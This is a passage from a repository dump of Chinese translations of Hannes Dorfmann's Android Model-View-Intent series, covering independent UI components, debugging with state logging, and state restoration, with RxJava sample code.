    "content": "> * 原文地址：[REACTIVE APPS WITH MODEL-VIEW-INTENT - PART4 - INDEPENDENT UI COMPONENTS](http://hannesdorfmann.com/android/mosby3-mvi-4)\n> * 原文作者：[Hannes Dorfmann](http://hannesdorfmann.com/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/mosby3-mvi-4.md](https://github.com/xitu/gold-miner/blob/master/TODO/mosby3-mvi-4.md)\n> * 译者：[pcdack](https://github.com/pcdack)\n> * 校对者：[hanliuxin5](https://github.com/hanliuxin5)\n\n# 使用 MVI 开发响应式 APP — 第四部分 — 独立的UI组件\n\n在这篇博客我们将讨论如何构建独立UI组件，并且要弄清楚为什么在我看来子类和父类关系充满着坏代码的味道。此外，我们将讨论为什么我认为这种关系是不必要的。\n\n不时的出现诸如 Model-View-Intent，Model-View-Presenter 或 Model-View-ViewModel 之类的架构设计模式的一个问题是,Presenter(或ViewModels) 之间是如何通信的?甚至更具体一点，\"子-Presenter\"如何与它的\"父-Presenter\"进行沟通？\n\n![wtf](http://hannesdorfmann.com/images/mvi-mosby3/wtf.jpg)\n\n父子关系的组件充满着代码异味，因为它们表示了一种父类与子类的直接耦合，这就导致了代码很难阅读，很难维护，当需求发生变化会影响很多组件（尤其是在大型系统中几乎是不可能完成的任务）最后，同样重要的是，引入了很多很难预测甚至更难去复刻和调试的共享状态。\n\n到现在为止还挺好的，但是我们假设信息必须从 Presenter A 流向 Presenter B:如何让不同的 Presenter 相互间通信？ **它们不通信**！什么样的场景才需要一个 Presenter 不得不与另一个 Presenter 通信？事件 X 发生了？Presenters 完全不用相互间通信，他们仅仅观察相同的 Model(或者精确到相同的业务逻辑)。这是它们如何得到关于变化的通知:从底层。\n\n![Presenter-Businesslogic](http://hannesdorfmann.com/images/mvi-mosby3/mvp-business-logic.png)\n\n无论何时一个事件X发生了(例如:一个用户点击了在View1上的按钮), 这个 Presenter 会让信息下沉到业务逻辑。既然其他的 Presenter 观察相同的业务逻辑, 他们从已经变化的业务逻辑（model 已经发生变化）里得到通知。\n\n![Presenter-Businesslogic](http://hannesdorfmann.com/images/mvi-mosby3/mvp-business-logic2.png)\n\n我们已经在[第一部分](https://juejin.im/post/5a52e4445188257334228b28)强调了一个很重要的原则（单向数据流）。\n\n让我们用真实案例来实现上面的内容：在我们的电商 app 我们可以将任意一项商品放到购物车里。另外，这里还有一个页面，我们可以看到我们购物车的所有商品，并且我们一次性可以选择或者移除多个商品项。\n\n![](https://i.loli.net/2018/03/02/5a98f0759859f.gif)\n\n如果我们可以把这个大的页面分离成很多小的，独立的并且可复用的UI组件，那岂不是很酷？比如说一个 Toolbar，它显示被选择的 item 的数量,和一个用来显示购物车里的商品项列表的 RecyclerView。\n\n```\n<LinearLayout>\n  <com.hannesdorfmann.SelectedCountToolbar\n      android:id=\"@+id/selectedCountToolbar\"\n      android:layout_width=\"match_parent\"\n      android:layout_height=\"wrap_content\"\n      />\n\n  <com.hannesdorfmann.ShoppingBasketRecyclerView\n      android:id=\"@+id/shoppingBasketRecyclerView\"\n      android:layout_width=\"match_parent\"\n      android:layout_height=\"0dp\"\n      android:layout_weight=\"1\"\n      />\n</LinearLayout>\n```\n\n但是如何使这些组件进行相互间通信呢？显然每个组件有它自己的 Presenter:**selectedCountPresenter**和**shoppingBasketPresenter**。这是父子关系吗？不，两者都仅仅观察同一个 Model(从相同的业务逻辑里获取更新):\n\n![ShoppingCart-Businesslogic](http://hannesdorfmann.com/images/mvi-mosby3/shoppingcart-businesslogic.png)\n\n```\npublic class SelectedCountPresenter\n    extends MviBasePresenter<SelectedCountView, Integer> {\n\n  private ShoppingCart shoppingCart;\n\n  public SelectedCountPresenter(ShoppingCart shoppingCart) {\n    this.shoppingCart = shoppingCart;\n  }\n\n  @Override protected void bindIntents() {\n    subscribeViewState(shoppingCart.getSelectedItemsObservable(), SelectedCountView::render);\n  }\n}\n\n\nclass SelectedCountToolbar extends Toolbar implements SelectedCountView {\n\n  ...\n\n  @Override public void render(int selectedCount) {\n   if (selectedCount == 0) {\n     setVisibility(View.VISIBLE);\n   } else {\n       setVisibility(View.INVISIBLE);\n   }\n }\n}\n```\n\n**ShoppingBasketRecyclerView** 的代码看起来不错,有很多相同的地方，因此我忽略掉这些相同的地方了。然而，如果我们仔细观察 **selectedCountPresenter** 我们会注意到这个 Presenter 与 **shoppingcart** 耦合。我们想要使用这个 UI 组件可以在我们 App 的其他的页面使用，让这个组件变的可复用，我们需要移除这个依赖，这事实上是一个简单的重构:这个 Presenter 得到一个 **Observable<Integer>** 作为 Model 的构造函数取代原来的 ShoppingCart:\n\n```\npublic class SelectedCountPresenter\n    extends MviBasePresenter<SelectedCountView, Integer> {\n\n  private Observable<Integer> selectedCountObservable;\n\n  public SelectedCountPresenter(Observable<Integer> selectedCountObservable) {\n    this.selectedCountObservable = selectedCountObservable;\n  }\n\n  @Override protected void bindIntents() {\n    subscribeViewState(selectedCountObservable, SelectedCountToolbarView::render);\n  }\n}\n```\n\n就是这样，任何时候，当我们想要显示当前 item 选择数量的时候，我们可以用这个 SelectedCountToolbar 组件。这个组件在购物车，可以记物品项的数量。但是，这个 UI 控件也可以用在你 App 里完全不同的情景下。此外，这个 UI 控件可以放在一个独立库中，并且在其他的 app 中使用，比如一个能显示选择多少张照片的 app。\n\n```\nObservable<Integer> selectedCount = photoManager.getPhotos()\n    .map(photos -> {\n       int selected = 0;\n       for (Photo item : photos) {\n         if (item.isSelected()) selected++;\n       }\n       return selected;\n    });\n\nreturn new SelectedCountToolbarPresnter(selectedCount);\n```\n\n## 总结\n\n这篇博客的目的是为了演示，父子关系通常来说是不需要的，并且可以避免，通过简单的观察你业务逻辑的相同部分。 不用 EventBus, 不需要从你的父 Activity/Fragment 中 findViewById(),不需要Presenter.getParentPresenter() 或者其他需要其他的解决办法。仅仅需要观察者模式。伴有 RxJava 的帮助，RxJava 是实现观察者模式的基础，我们可以很轻松的构建这样的响应式 UI 组件。\n\n### 另外的思考\n\n通过与 MVP 或者 MVVM 的对比，在 MVI 我们强制（用一种激进的方法）让业务逻辑驱动一定的组件状态。故在使用 MVI 上有经验的开发者总结出下面结论:\n\n> 如果一个 view 状态是另一个组件的 model？如果 view 的状态在一个组件中发生了变化，这个变化是另一个组件的意图,那么如何处理？\n\n例子:\n\n```\nObservable<Integer> selectedItemCountObservable =\n        shoppingBasketPresenter\n           .getViewStateObservable()\n           .map(items -> {\n              int selected = 0;\n              for (ShoppingCartItem item : items) {\n                if (item.isSelected()) selected++;\n              }\n              return selected;\n            });\n\nObservable<Boolean> doSomethingBecauseOtherComponentReadyIntent =\n        shoppingBasketPresenter\n          .getViewStateObservable()\n          .filter(state -> state.isShowingData())\n          .map(state -> true);\n\nreturn new SelectedCountToolbarPresenter(\n              selectedItemCountObservable,\n              doSomethingBecauseOtherComponentReadyIntent);\n```\n\n乍一看这似乎是一种有效的方法，但它不是父子关系的变体吗？ 当然，这不是一个传统的分层父子关系，它更像是一个洋葱（内部的给外部状态），这似乎更好，但仍然是一个紧密耦合的关系，不是吗？我还没有下定决心，但我认为现在避免这种类似洋葱的关系更好。 如果您有不同的意见，请在下面留言。 我很想听听你的想法。\n\n**这篇博客是“用 MVI 开发响应式App”的一部分。\n下面是内容表:**\n\n*   [Part 1: Model](http://hannesdorfmann.com/android/mosby3-mvi-1)\n*   [Part 2: View and Intent](http://hannesdorfmann.com/android/mosby3-mvi-2)\n*   [Part 3: State Reducer](http://hannesdorfmann.com/android/mosby3-mvi-3)\n*   [Part 4: Independent UI Components](http://hannesdorfmann.com/android/mosby3-mvi-4)\n*   [Part 5: Debugging with ease](http://hannesdorfmann.com/android/mosby3-mvi-5)\n*   [Part 6: Restoring State](http://hannesdorfmann.com/android/mosby3-mvi-6)\n*   [Part 7: Timing (SingleLiveEvent problem)](http://hannesdorfmann.com/android/mosby3-mvi-7)\n\n**这是这个系列博客的中译版：**\n* [第一部分:Model](https://juejin.im/post/5a52e4445188257334228b28)\n* [第二部分:View 和 Intent](https://juejin.im/post/5a587c06518825732f7eab86)\n* [第三部分:状态折叠器](https://juejin.im/post/5a955c50f265da4e853d856a)\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/mosby3-mvi-5.md",
    "content": "> * 原文地址：[REACTIVE APPS WITH MODEL-VIEW-INTENT - PART5 - DEBUGGING WITH EASE](http://hannesdorfmann.com/android/mosby3-mvi-5)\n> * 原文作者：[Hannes Dorfmann](http://hannesdorfmann.com/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/mosby3-mvi-5.md](https://github.com/xitu/gold-miner/blob/master/TODO/mosby3-mvi-5.md)\n> * 译者：[pcdack](https://github.com/pcdack)\n> * 校对者：[zhaochuanxing](https://github.com/zhaochuanxing), [hanliuxin5](https://github.com/hanliuxin5), \n\n# 使用 MVI 编写响应式 APP — 第 5 部分 — 简单的调试\n\n在前面的系列博客中我们已经讨论了 Model-View-Intent(MVI)模式和它的特征。在[第一部分](http://hannesdorfmann.com/android/mosby3-mvi-1)我们已经讨论了关于单向数据流的重要性和“业务逻辑”驱动型的应用状态的概念。在这篇博客中我们将看到如何通过 debug 来简化开发者的开发工作。\n\n你以前有没有收到一个崩溃报告,并且你不能复现报告中的 bug？听起来很熟悉？我也觉得很熟悉！在花费数小时看 stacktrace 和我们的源代码,我选择在 issue 跟踪中关闭掉了这样的报告，而且跟随着一个小的 comment 像“不能复现这个 bug”或者“这一定是一个奇怪设备/厂商（大厂）导致的错误”。\n\n用我们在这系列博客里开发的购物车 app 做例子：当在 home 页面，我们的用户可以做下拉刷新，崩溃的报告显示，由于某种未知的原因，当下拉刷新加载新数据的时候，会触发 NullPointerException 异常。\n\n你做为开发这开始在 home 页面进行上拉刷新操作，但是，这个 App 并没有崩溃。它像预期的那样工作。因此，你关闭了代码。但是，你不能看到 NullPointException 在这里如何被抛出的。接着你开始了断点调试，一步一步地运行相关组件的代码，但是它仍旧是在正常工作。特喵的怎么才能重现这个 bug 呢？\n\n这个问题是你不能够重现当崩溃发生的时候的场景。如果有用户在遇到崩溃问题时，能够给你崩溃报告，包含 App（发生崩溃前）的状态信息和调用堆栈信息，岂不美哉？伴随着单项数据流和 Model-View-Intent 模式那么这种情况将变得十分简单。我们简单记录用户触发的所有的 intent 和渲染到 view 上的 model(model 代表了 app 的状态、view 的状态)。 让我们在 home 页面上这样去做，在 **HomePresenter** 类上添加 log (对于更多的细节可以看[第三部分](http://hannesdorfmann.com/android/mosby3-mvi-1) 在第三部分中我们已经讨论过状态折叠器的优点)。在下面的代码中我将贴出我们使用 [Crashlytics](https://fabric.io/kits/ios/crashlytics)(类似于 Bugly) 的代码片段,但是它应当与其他的 crash 报告工具的使用是相同的。\n\n```\nclass HomePresenter extends MviBasePresenter<HomeView, HomeViewState> {\n\n  private final HomeViewState initialState; // Show loading indicator\n\n  public HomePresenter(HomeViewState initialState){\n    this.initialState = initialState;\n  }\n\n  @Override protected void bindIntents() {\n\n    Observable<PartialState> loadFirstPage = intent(HomeView::loadFirstPageIntent)\n          .doOnNext(intent -> Crashlytics.log(\"Intent: load first page\"))\n          .flatmap(...); // business logic calls to load data\n\n    Observable<PartialState> pullToRefresh = intent(HomeView::pullToRefreshIntent)\n          .doOnNext(intent -> Crashlytics.log(\"Intent: pull-to-refresh\"))\n          .flatmap(...); // business logic calls to load data\n\n    Observable<PartialState> nextPage = intent(HomeView::loadNextPageIntent)\n          .doOnNext(intent -> Crashlytics.log(\"Intent: load next page\"))\n          .flatmap(...); // business logic calls to load data\n\n    Observable<PartialState> allIntents = Observable.merge(loadFirstPage, pullToRefresh, nextPage);\n    Observable<HomeViewState> stateObservable = allIntents\n          .scan(initialState, this::viewStateReducer) // call the state reducer\n          .doOnNext(newViewState -> Crashlytics.log( \"State: \"+gson.toJson(newViewState) ));\n\n    subscribeViewState(stateObservable, HomeView::render); // display new state\n  }\n\n  private HomeViewState viewStateReducer(HomeViewState previousState, PartialState changes){\n    ...\n  }\n}\n```\n\n应用RxJava的 **.doOnNext()** 操作符，在每个 intent、每个 intent 的结果和之后渲染到 view 上的状态上添加日志，我们序列化 view 状态为json对象（我们稍后来讨论这个）。\n\n我们可以看一下这些 logs:\n\n![logs](http://hannesdorfmann.com/images/mvi-mosby3/crashlytics-mvi-logs.png)\n\n看一下这些 log,我们不仅可以看应用崩溃前的最新状态，而且可以看到用户达到这个状态的整个过程。为了更好的可读性，我已经强调了状态过滤，并且用_[…]_替换掉“数据”(这些项将被显示到 recycler view 上)。 因此，用户开启这个 app -加载第一页的意图。然后加载指示条显示\"loadFirstPage\"。然后，真的数据就被加载进来了(_data[…]_)。 接下来用户滑动列表项并且到达了 recyclerView 的底部，这将触发加载下一页的意图去加载更多数据(分页),这将造成状态转换成\"loadingNextPage\":对。一旦下一页被加载的数据(_data[…]_)已经被更新并且\"loadNextPage\":错误已经被矫正。用户第二次做同样的事情。并且它开始采用下拉刷新意图并且状态，状态转变为“loadingPullRefresh”：true。突然 App 崩溃了（没有更多之后的 log 信息）。\n\n因此如何利用这些信息帮助我们修复这个 bug？显然，我们知道那个意图用户触发了，因此我们可以人工去复现 bug。此外，我们可以将我们的 app 的状态快照成 json。我们可以简单的将最后一个状态反序列化 json，并且成为我们的初始状态去修复这个 Bug:\n\n```\nString json =\"  {\\\"data\\\":[...],\\\"loadingFirstPage\\\":false,\\\"loadingNextPage\\\":false,\\\"loadingPullToRefresh\\\":false} \";\nHomeViewState stateBeforeCrash = gson.fromJson(json, HomeViewState.class);\nHomePresenter homePresenter = new HomePresenter(stateBeforeCrash);\n```\n\n然后，我们打开调试工具，触发下拉刷新的意图(intent)。它将出现在如果用户已经向下滑第二次滑到第二页没有更多的数据存在，并且，我们的 app 没有正确的处理，因此下拉刷新造成了崩溃。\n\n## 总结\n\n制作 app 的状态\"快照\"让我们的开发工作更加轻松。不仅我们可以容易的复现崩溃场景，另外，我们可以序列化状态去写[回归测试](https://en.wikipedia.org/wiki/Regression_testing)，不用额外消耗任意代码。记住这仅仅适用于如果 app 的状态遵循单项数据流（被业务逻辑驱动），不变性和纯函数的原则。Model-View-Intent 带领我们去正确的方向，因此我们构建“可快照”的 app 是非常好和十分有用，这就是这种架构的“副作用”。\n\n\"可快照的\" app 有什么缺点？显然我们序列化 app 的状态（例如：使用 Gson）。这将添加额外的计算时间。在我的一般大小的 app 中，首次使用 Gson 序列化需要大约 30 毫秒。因为 Gson 需要使用反射来扫描类去决定需要序列化的字段。随后的状态序列化在 Nexus 4 中平均需要花费 6 毫秒。当序列化运行在 **.doOnNext()** 这是一般运行在其他线程，但是，我 app 的用户不得不等 6 毫秒比那些没有快照的 app。我的观点是等 6 毫秒用户是很难察觉到。无论如何，关于快照状态的一个讨论是当崩溃发生时，从用户的设备通过崩溃日志工具向服务器上传的数据量是十分巨大的。如果用户连接着 wifi 没什么大不了的，但可能对于在使用手机流量的用户确实是一个问题。最后但是也很重要的一点，你也许泄露了伴随着状态的敏感数据的崩溃日志。要么就不要在上传的崩溃报告中去序列化那些敏感的数据（因此报告可能不完整并且几乎没啥用），要么就将这敏感数据加密（这可能需要一些额外的CPU时间）。\n\n总结一下：就我个人而言，在给我的 app 做快照处理时我发现了很多益处，然而，你也不得不做一些权衡.也许你可以在内部版本或者 beta 版本上启用快照功能，看看在你自己的 app 上工作得如何。\n\n#### 红利:时间旅行\n\n在开发时，如果可以拥有时间旅行的选择项，岂不美哉。也许嵌入一个调试侧边栏像 Jake Wharton 的 u2020 dome app。\n\n所有我们需要类似于调试侧边栏只需要两个按钮“前一个状态”和“后一个状态”因此我们可以一步一步地从一个状态及时的到前一个状态（或下一个状态）。例如：如果我们已经做了一个 HTTP 请求作为状态变化的一部分，可以确定的是，在往前回溯时，我们并不想再次进行真正的 http 请求，因为与此同时后端的数据也可能会发生变化。\n\n时间旅行要求一些额外的层，像一个代理层在一个 app 的边界部分。因此我们可以“录制”和“回放”状态像 http 请求（同理 sqlite等等）。对这类事情十分的感兴趣？这就像我的朋友 Felipe 为OKHttp做类似的事情。可以随意联系他来得到他正在写的库的更多细节。\n\n![Snipaste_2018-03-07_11-40-30.png](https://i.loli.net/2018/03/07/5a9f5f80ca8f0.png)\n\n> 你是否正在找一个十分有用的安卓库，可以录制和回放 OkHttp 网络交互，比如说 Espresso 测试？\n> \n> — Felipe Lima (@felipecsl) [28\\. Februar 2017](https://twitter.com/felipecsl/status/836380525380026368)\n\n**这篇博客是使用 MVI 开发响应式 APP 的一部分。\n这里是内容表:**\n\n*   [Part 1: Model](http://hannesdorfmann.com/android/mosby3-mvi-1)\n*   [Part 2: View and Intent](http://hannesdorfmann.com/android/mosby3-mvi-2)\n*   [Part 3: State Reducer](http://hannesdorfmann.com/android/mosby3-mvi-3)\n*   [Part 4: Independent UI Components](http://hannesdorfmann.com/android/mosby3-mvi-4)\n*   [Part 5: Debugging with ease](http://hannesdorfmann.com/android/mosby3-mvi-5)\n*   [Part 6: Restoring State](http://hannesdorfmann.com/android/mosby3-mvi-6)\n*   [Part 7: Timing (SingleLiveEvent problem)](http://hannesdorfmann.com/android/mosby3-mvi-7)\n\n**这是中文翻译:**\n* [第一部分：Model](https://juejin.im/post/5a52e4445188257334228b28)\n* [第二部分:View 和 Intent](https://juejin.im/post/5a587c06518825732f7eab86)\n* [第三部分:状态折叠器](https://juejin.im/post/5a955c50f265da4e853d856a)\n* [第四部分:独立 UI 组件开发](https://juejin.im/post/5a9debfbf265da23830a6230)\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/mosby3-mvi-6.md",
    "content": "> * 原文地址：[REACTIVE APPS WITH MODEL-VIEW-INTENT - PART6 - RESTORING STATE](http://hannesdorfmann.com/android/mosby3-mvi-6)\n> * 原文作者：[Hannes Dorfmann](http://hannesdorfmann.com/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/mosby3-mvi-6.md](https://github.com/xitu/gold-miner/blob/master/TODO/mosby3-mvi-6.md)\n> * 译者：[pcdack](https://github.com/pcdack)\n> * 校对者：[hanliuxin5](https://github.com/hanliuxin5), [allenlongbaobao](https://github.com/allenlongbaobao)\n\n# 使用 MVI 编写响应式 APP—第六部分—状态恢复\n\n在前面博客中，我们讨论了 Model-View-Intent （MVI）和单项数据流的重要性。这极大的简化了状态恢复。这如何做到和为什么能够做到咧？我们将在这篇博客讨论。\n\n我们在这篇博客中将要关注两种场景: 在内存中恢复状态（例如屏幕的方向发生改变）和恢复一个「持续状态」（从先前存储在 Activity.onSaveInstanceState() 的 Bundle 中恢复）。\n\n## 在内存中\n\n这是一个简单的情况。我们只需要让我们的 RxJava 随着时间的变化遵从安卓组件的生命周期（例如，Acitivity，Fragment 甚至是 ViewGroups）继续发射新的数据。例如，Mosby（作者写的一个库） 的 **MviBasePresenter** 建立在一个 RxJava 流内部通过使用 **PublishSubject** 来管理 view 的意图，和通过 **BehaviorSubject** 去渲染状态到 view 上。我已经在[第二部分](http://hannesdorfmann.com/android/mosby3-mvi-2)结尾处描述这些实现细节。最重要的一点是 MviBasePresenter 是独立与 view 生命周期的一个组件，因此一个 view 可以在 Presenter 中被分离和附着。在 Mosby 中只有当 view 永久销毁 Presenter 才会被「摧毁」（垃圾回收）。这仅仅是 Mosby 的实现细节。你的 MVI 实现可能和这个完全不一样。最重要的是这种组件比如 Presenter 需要独立于 view 的生命周期。因为这样它能够简单的处理 view 的附着和分离事件，无论何时 view 需要重新附着到 Presenter 我们只需简单地调用 **view.render(previousState)** (因此 Mosby 用内部 BehaviorSubject 来处理)。这仅仅是如何解决屏幕方向的一种解决方案。它也可以工作在返回栈导航中，例如，Fragment 在返回栈中，我们如果从返回栈中返回，我们可以简单的再次调用 view.render(previousState)，并且，view 也会显示正确的状态。 事实上，状态就算没有 view 附着也可以被改变。因为 Presenter 的独立于生命周期，并且保持 RxJava 状态流在内存中。想象接收一个改变数据（状态的一部分）的通知，没有 view 附着。无论何时 view 被重新附着，最后的状态（包括从通知中更新的数据）都会交给 view 去渲染。\n\n## 持久化状态\n\n这种场景在 MVI 这种单向数据流模式下也很简单。假设我们希望 View 的状态 （比如 Activity）不仅存活在内存中，还能在进程死亡后被暂存。通常，在安卓中我们使用 Activity.onSaveInstanceState(Bundle) 来保存那样的状态。在 MVP 或者 MVVM 中，你不需要使用 Model 来代表状态（见 [第一部分](http://hannesdorfmann.com/android/mosby3-mvi-1)），与之不同的是， 在 MVI 中，View 有一个 render(state) 方法来记录最新的状态，这让保持最后一个状态变得容易。因此，显然易见的是打包和存储状态到一个 bundle 下面，并且事后恢复它,例如：\n\n```\nclass MyActivity extends Activity implements MyView {\n\n  private final static KEY_STATE = \"MyStateKey\";\n  private MyViewState lastState;\n\n  @Override\n  public void render(MyState state) {\n    lastState = state;\n    ... // update UI widgets\n  }\n\n  @Override\n  public void onSaveInstanceState(Bundle out){\n    out.putParcelable(KEY_STATE, lastState);\n  }\n\n  @Override\n  public void onCreate(Bundle saved){\n    super.onCreate(saved);\n    MyViewState initialState = null;\n    if (saved != null){\n      initialState = saved.getParcelable(KEY_STATE);\n    }\n\n    presenter = new MyPresenter( new MyStateReducer(initialState) ); // With dagger: new MyDaggerModule(initialState)\n  }\n  ...\n}\n```\n\n我知道你已经掌握了要点。请注意在 onCreate() 方法中我们不能直接调用 view.render(state)，取而代之，我们应该让初始化状态下沉到状态管理的地方：状态折叠器（[看第三部分](http://hannesdorfmann.com/android/mosby3-mvi-3)）在这里我们用 **.scan(initialState，reducerFunction)**。\n\n## 结论\n\n随着单向数据流和一个 Model 代表一种状态，很多与状态相关的事情，变得相对于其他的模式更加简单。然而，通常在我的 APP 中，我不会持久化状态到 bundle 有以下两点原因：第一， Bundle 有大小限制，因此你不能存很大的状态在 bundle 中（相反，你需要存储状态到文件，或者，存储到对象存储例如 Realm）。第二，我们仅仅讨论了如何去序列化和反序列化，但是，这不一定与恢复状态相同。\n\n例子：让我们假设我们有一个 LCE(Loading-Content-Error) 的 view，这个 view 在加载数据时会显示一个指示器，并且当数据加载完成后会展示一个列表视图。。因此，这个状态应当是 **MyViewState.LOADING**。让我们假设加载需要消耗一定的时间，就在加载时候，Activity 进程也被杀掉了(例如，因为其他应用程序占据了前台，像电话 app 因为女票的电话而占据了前台)。如果如之前所述，我们仅仅只是序列化了 MyViewState.LOADING 这个状态，并在 Activity 被重新创建时反序列化它，那么我们的状态折叠器只会去调用 view.render(MyViewState.LOADING) 。注意到目前为止一切都还好，但是接下来我们会发现去加载数据本身这个操作（发起一次 http 请求）永远不会执行。这就是盲目简单地反序列化带来的结果。\n\n正如你所见, 序列化与反序列化状态，并不同于状态恢复。状态恢复也许需要一些添加额外的一些会增加复杂性的步骤（使用 MVI 来实现比我目前为止所使用的任何其他架构更加简单）。当 view 被重新创建的时候，反序列化状态也许包含了一些过期数据。因此，你需要想尽办法更新数据。在大多数 app 中，我通过努力找到了一种更简单和更加友好的方法，仅仅保持状态到内存中。并且当进程死亡的时候，开启一个空的初始化状态就像 app 第一次启动一样。理想情况下一个 app 有缓存和离线支持，因此当进程死亡，重新加载数据是很快的。\n\n这最终导致我与其他安卓开发者都争论过一个问题:如果我使用了缓存或者存储，那么我就已经拥有了一个独立于安卓生命周期之外的组件，我也不再需要去处理相关的状态缓存问题，MVI 完全就是在胡说嘛！对么？ 大多数这些安卓开发者推荐 Mike Nakhimovich 发表的[Presenter 不是为了持久化](https://hackernoon.com/presenters-are-not-for-persisting-f537a2cc7962)这篇文章介绍的 [NyTimes Store](https://github.com/NYTimes/Store),一个数据加载和缓存库。不幸的是，这些这些开发者不理解**加载数据和缓存不是状态管理**。例如，如果我不得不从两个缓存或存储中加载数据呢？\n\n最后,像 NyTimes 缓冲库帮助我们处理进程死亡了么？很显然没有，因为进程死亡随时可能发生。为来解决这个问题，我们能做的仅仅是乞求安卓操作系统不要杀死我们的 app 进程，因为我们依旧需要做一些工作通过安卓的 service （这个组件也是独立于其他安卓组件的生命周期）或者我们现在用 rxjava 来取代 service，我们可以这样么？我们讨论关于安卓的 service，rxjava 和 MVI 在下一部分。敬请期待(๑˙ー˙๑)。\n\n剧透: 我认为我们需要 service。\n\n**这篇博客是 \"用 MVI 开发响应式App\"中的一篇博客。下面是内容表:**\n\n*   [Part 1: Model](http://hannesdorfmann.com/android/mosby3-mvi-1)\n*   [Part 2: View and Intent](http://hannesdorfmann.com/android/mosby3-mvi-2)\n*   [Part 3: State Reducer](http://hannesdorfmann.com/android/mosby3-mvi-3)\n*   [Part 4: Independent UI Components](http://hannesdorfmann.com/android/mosby3-mvi-4)\n*   [Part 5: Debugging with ease](http://hannesdorfmann.com/android/mosby3-mvi-5)\n*   [Part 6: Restoring State](http://hannesdorfmann.com/android/mosby3-mvi-6)\n*   [Part 7: Timing (SingleLiveEvent problem)](http://hannesdorfmann.com/android/mosby3-mvi-7)\n\n\n**这是中文翻译:**\n* [第一部分：Model](https://juejin.im/post/5a52e4445188257334228b28)\n* [第二部分：View 和 Intent](https://juejin.im/post/5a587c06518825732f7eab86)\n* [第三部分：状态折叠器](https://juejin.im/post/5a955c50f265da4e853d856a)\n* [第四部分：独立 UI 组件开发](https://juejin.im/post/5a9debfbf265da23830a6230)\n* [第五部分：简单的调试](https://juejin.im/post/5aafa3e851882555627d1842)\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/mosby3-mvi.md",
    "content": "> * 原文地址：[Reactive Apps with Model-View-Intent - Part1 - Model](http://hannesdorfmann.com/android/mosby3-mvi-1)\n* 原文作者：[Hannes Dorfmann](http://hannesdorfmann.com/about/)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[XHShirley](https://github.com/XHShirley)\n* 校对者：[yazhi1992](https://github.com/yazhi1992)，[DeadLion](https://github.com/DeadLion)\n\n# Model-View-Intent 模式下的响应式应用 － 第一部分 － Model（模型） #\n\n当我想明白原来我的模型类一直被我用错了，一大堆以前我遇到的安卓平台相关的问题就都消失了。更重要的是，我终于使用RxJava和模型-视图-意图模型来构建响应式应用了，因为我从来没成功过，尽管我已经构建过很多响应式应用，但与我马上要在博客上写的这一系列不是一个等级的。在第一部分，我想讲讲模型以及为什么模型这么重要。\n\n我说“我的模型类一直被我用错了”是什么意思呢？其实，有很多架构模式可以把视图和模型分开。最受欢迎的几种（至少在安卓开发中）是模型－视图－控制器（MVC），模型－视图－提供器（MVP）以及模型－视图－视图模型（MVVM）。通过观察这些模式的名字，不知道你有没有注意到什么。它们都说到了“模型”。我发现大多数情况下我根本就没有用到模型。\n\n例子：从后台加载一份人员列表。一个“传统的” MVP 实现看起来就像下面这样：\n\n```\nclass PersonsPresenter extends Presenter<PersonsView> {\n\n  public void load(){\n    getView().showLoading(true); // 在屏幕上显示进度条\n    backend.loadPersons(new Callback(){\n      public void onSuccess(List<Person> persons){\n        getView().showPersons(persons); // 在屏幕上显示一份人员名单      \n      }\n\n      public void onError(Throwable error){\n        getView().showError(error); // 在屏幕上显示一个错误信息      \n      }\n      \n    });\n  